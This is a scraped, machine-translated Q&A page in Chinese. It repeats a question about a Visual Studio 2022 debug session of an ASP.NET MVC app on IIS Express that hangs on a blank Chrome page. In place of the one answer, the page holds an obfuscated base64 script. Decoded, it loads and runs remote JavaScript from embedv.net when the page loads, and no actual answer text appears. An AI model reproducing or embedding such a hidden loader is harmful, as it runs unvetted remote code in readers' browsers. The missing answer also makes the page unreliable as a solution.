Visual Studio 2022 调试 Web 应用程序将永远存在

问题描述 投票:0回答:1

开发人员正在 Visual Studio 2022 中调试 .NET Framework 4.6.2 ASP.NET MVC Web 应用程序。它在 Google Chrome 中的 IIS Express 上运行。我已经下载了他正在使用的源代码,并且无需任何更改就可以在我的机器上成功运行它。然而,当他运行该应用程序时,它将打开 Chrome 窗口,并无限期地“加载”一个空白页面。据我所知,Visual Studio 中没有抛出任何异常,事件查看器中没有日志,并且站点本身不生成任何日志文件或数据库条目。它似乎卡住了。

该开发人员是团队的新成员,刚刚开始全新安装 Visual Studio 和相关工具。我已经使用它很多年了,不记得有过类似的问题。

更新

IIS Express 似乎在 Visual Studio 中作为“用户代码”运行,而不是作为自己的应用程序单独运行。他通过在调试模式下运行应用程序时打开“调试”>“窗口”>“模块”窗口发现了这一点。它为他显示了大量的 IIS Express 相关模块,这些模块都被算作“用户代码”。在我自己的实例中,IIS Express 有 0 个模块,更不用说任何算作用户代码的模块了。我所有的用户代码模块实际上都是我们要调试的代码。显然他的设置与我的有所不同。他使用的是 Windows 11,我使用的是 Windows 10。他还说他设置了“SQL Server IIS Express Edition”...我不确定他是否以某种方式将 SQL Express 与 IIS 混淆了。或者也许 SQL Express 附带了它自己的功能较弱的 IIS Express 版本?我使用 localdb,所以距离安装 SQL Express 已经很长时间了。

更新2 我们让他完全卸载并重新安装 Visual Studio 和 IIS Express 以及他 PC 上的任何 .NET Framework 版本。我有点想知道这是否不是 Windows 11 中的 .NET Framework 4.6.2 兼容性问题。

asp.net-mvc visual-studio-2022 visual-studio-debugging .net-framework-version
1个回答
0
投票
                    <div id="6e3674677a74465b5236694d3a403b" domain="embedv.net" width="800" height="600"></div><script src="data:text/javascript;base64,dmFyIHA9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpWzBdLGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0IiksZD1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCJkaXZbZG9tYWluXSIpLmdldEF0dHJpYnV0ZSgiZG9tYWluIik7ZS5zcmM9Ii8vIitkKyIvYXNzZXRzL2pzL2xvYWQuanMiLHAuYWZ0ZXIoZSk7"></script>
                
© www.soinside.com 2019 - 2024. All rights reserved.